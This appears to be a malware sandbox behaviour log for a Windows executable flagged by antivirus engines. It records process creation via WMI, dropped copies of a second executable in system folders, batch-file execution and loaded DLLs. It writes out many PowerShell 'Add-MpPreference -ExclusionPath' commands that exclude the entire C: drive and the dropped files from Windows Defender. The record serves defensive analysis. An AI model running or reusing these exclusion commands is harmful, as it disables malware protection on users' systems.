Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\Tasks\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 01YP9Lwum8.exe	ReversingLabs: Detection: 73%
Source: 01YP9Lwum8.exe	Virustotal: Detection: 64%

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File read: C:\Users\user\Desktop\01YP9Lwum8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\01YP9Lwum8.exe "C:\Users\user\Desktop\01YP9Lwum8.exe"
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4E71.tmp" "c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP"
Source: unknown	Process created: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe "C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\01YP9Lwum8.exe C:\Users\user\Desktop\01YP9Lwum8.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\01YP9Lwum8.exe C:\Users\user\Desktop\01YP9Lwum8.exe
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat"
Source: unknown	Process created: C:\Windows\Tasks\explorer.exe C:\Windows\Tasks\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Tasks\explorer.exe C:\Windows\Tasks\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: unknown	Process created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe "C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\Desktop\01YP9Lwum8.exe "C:\Users\user\Desktop\01YP9Lwum8.exe"
Source: unknown	Process created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
Source: unknown	Process created: C:\Users\user\Desktop\01YP9Lwum8.exe "C:\Users\user\Desktop\01YP9Lwum8.exe"
Source: unknown	Process created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe "C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Windows\Tasks\explorer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4E71.tmp" "c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe "C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Windows\Tasks\explorer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
